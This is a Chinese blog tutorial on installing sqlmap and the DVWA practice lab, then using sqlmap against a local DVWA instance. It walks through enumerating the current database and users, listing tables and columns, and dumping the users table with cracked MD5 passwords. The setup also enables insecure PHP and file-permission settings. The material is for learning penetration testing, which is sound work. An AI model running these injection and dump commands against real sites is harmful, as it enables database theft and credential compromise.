SQLmap注入漏洞

sql注入概述

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺 骗服务器执行恶意的SQL命令。它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库。比如先前的很多影视网站泄露VIP会员密码大多就是 通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击

什么是SQLmap

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性, 即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

安装sqlmap

  1. 安装Python 环境

    yum -y  install python 
    

    查看版本

    python -V
    
  2. 安装

    tar -xvf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz  -C /data/
    mv /data/sqlmapproject-sqlmap-7eab1bc/ /data/sqlmap
    cd /data/sqlmap/
    ./sqlmap.py 
    

    在这里插入图片描述

  3. 设置环境变量

    vim /etc/profile
    alias sqlmap='python /data/sqlmap/sqlmap.py'
    
    source /etc/profile
    

安装渗透测试演练系统DVWA

PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测 试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
前端管理LNMP

  1. 依赖安装

    yum -y install gcc pcre-devel zlib-devel openssl-devel mariadb-devel php
    
  2. 安装

    yum -y install php-fpm php-mysql mariadb-server php-gd
    mkdir  /data
    tar -xvf nginx-1.12.2.tar.gz -C /data/
    cd /data/nginx-1.12.2/
    ./configure --with-http_ssl_module --prefix=/data/nginx
    make && make install
    
  3. 修改配置

    vim /data/nginx/conf/nginx.conf
    http {
    fastcgi_buffers 8 16k;
    	fastcgi_buffer_size 32k;
    	fastcgi_connect_timeout 300;
    	fastcgi_send_timeout 300;
    	fastcgi_read_timeout 300;
    ...
     server {
            listen       80;
            server_name  localhost;
            location / {
                root   html/dvwa;
                index  index.html index.htm;
            }
    location ~ \.php$ {
    	root           html/dvwa;
    	fastcgi_pass   127.0.0.1:9000;
    	fastcgi_index  index.php;
    	include        fastcgi.conf;
    }
    
    vim /etc/php.ini
    allow_url_include = On
    
  4. 启动

    systemctl start php-fpm
    systemctl enable php-fpm
    /data/nginx/sbin/nginx
    

    配置systemctl

    vim /usr/lib/systemd/system/nginx.service
    [Unit]
    #服务名
    Description=nginx
    #在网络启动以后启动
    After=network.target
    [Service]
    Type=forking
    ExecStart=/data/nginx/sbin/nginx
    ExecReload=/data/nginx/sbin/nginx -s reload
    ExecStop=/data/nginx/sbin/nginx -s quit
    [Install]
    WantedBy=multi-user.target
    
    systemctl daemon-reload
    /data/nginx/sbin/nginx  -s stop
    systemctl start nginx.service 
    systemctl status nginx.service 
    systemctl enable nginx.service
    
  5. 安装web服务

    unzip -d . dvwa1.9汉化.zip
    mv dvwa1.9汉化/dvwa/ /data/nginx/html/
    chown -R 777  /data/nginx/html/dvwa/   
    

    创建对应数据库

    CREATE USER 'dvwa'@'%' IDENTIFIED BY '123456';
    CREATE DATABASE `dvwa`;
    GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'%';
    
  6. 编辑配置数据库信息,user和password是MySQL的用户名和密码。

    vim /data/nginx/html/dvwa/config/config.inc.php
    $_DVWA[ 'db_server' ]   = '192.168.66.245';
    $_DVWA[ 'db_database' ] = 'dvwa';
    $_DVWA[ 'db_user' ]     = 'dvwa';
    $_DVWA[ 'db_password' ] = '123456';
    $_DVWA[ 'db_port '] = '3306';
    
  7. 重启应用

    systemctl restart php-fpm.service
    systemctl enable php-fpm.service
    systemctl restart nginx.service
    
  8. 演试DVWA网站系统

    在浏览器中输入:http://192.168.66.244:18000/setup.php
    在这里插入图片描述

    生成自己的谷歌开源免费验证码reCAPTCHA的公钥和私钥
    在这里插入图片描述

    访问https://www.google.com/recaptcha/admin/create并用google账户登录, 在文本框输入自己网站的网址,如global-key.mycompany.com ,点击create key,生成Public Key和Private Key。
    在这里插入图片描述

    点 Create / Reset Database 创建测试数据库dvwa
    在这里插入图片描述

    点 Create / Reset Database后,等2秒,它会自动跳转后台管理登录页

    vim /var/www/html/DVWA-1.9/config/config.inc.php
    $_DVWA[ 'recaptcha_public_key' ]  = '自己的key';
    $_DVWA[ 'recaptcha_private_key' ] = '自己的key';
    

    在这里插入图片描述

    dvwa的登录界面的默认用户名和密码为admin和password

例子1:枚举登录MYSQL数据的用户名与密码

使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态, 这里使用Firefox中名为“TamperData”的插件获取。
Tamper Data是一个用于跟踪和修改http/https请求和POST参数的扩展。

  1. 找到sql注入点:接下来以火狐浏览器登录:

    http://192.168.1.63/DVWA-1.9/index.php
    在这里插入图片描述
    在这里插入图片描述

    这里有提交sql语句的地方,所以就是我们的一个sql注入点。因此该页面就是我们的目 标页面。

  2. 获取当前页面的cookie信息 :
    在这里插入图片描述

    先别点login,等开始tamper data 再点login,这样就可以抓取到登录时 的cookie值
    在这里插入图片描述
    在这里插入图片描述

    点login ,在弹出的界面点: tamper
    在这里插入图片描述

    可以抓到当前会话的cookie及提及表单的用户admin和密码password

  3. 使用sqlmap检索当前数据库和当前用户

    sqlmap -u 
    "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -b  	--current-db  --current-user
    

    中间会遇到几个选项,一路选择Y就可以了
    使用选项:
    1、–cookie :设置我们的cookie值“将DVWA安全等级从high设置为low”
    2、-u : 指定目标URL,syql注入点
    3、-b :获取DBMS banner数据库管理系统
    4、–current-db : 获取当前数据库
    5、–current-user :获取当前用户

    在这里插入图片描述

例子2:枚举所有登录msyql数据库的用户名和密码hash值,对密码hash破解,生成明文密码

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' 	--string="Surname" --users --password

在这里插入图片描述

例子3:枚举系统中所有的数据库名

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'  --dbs

使用选项:
–dbs: 枚举DBMS中的所有数据库

在这里插入图片描述

例子4:枚举dvwa数据表:

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' 
-D dvwa --tables

使用选项:
-D : 要枚举的DBMS数据库
–tables : 枚举DBMS数据库中的数据表

得到结果如下:
Database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+

例子5:获取dvwa库中users表的所有列名字

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'  
-D dvwa 
-T users --columns 

使用选项:
-T : 要枚举的DBMS数据库表
–columns : 枚举DBMS数据库表中的所有列

例子6:提取user表中的用户名与密码等信息。将用户与密码表中的所有用户名与密码dump出来

sqlmap -u 
"http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" 	--cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4'   
-D dvwa -T users -C user,password --dump

使用选项:
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
–dump : 转储DBMS数据表项
SQLmap会提问是否破解密码,按回车确认:

在这里插入图片描述

尽管我们用的数据库中密码是经过md5加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码

查看导出的数据:

vim /root/.sqlmap/output/192.168.1.63/dump/dvwa/users.csv
user,password
1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)

喜欢的亲可以关注点赞评论哦!以后每天都会更新的哦!本文为小编原创文章; 文章中用到的文件、安装包等可以加小编联系方式获得;
欢迎来交流小编联系方式VX:CXKLittleBrother 进入运维交流群

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

含义小哥

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值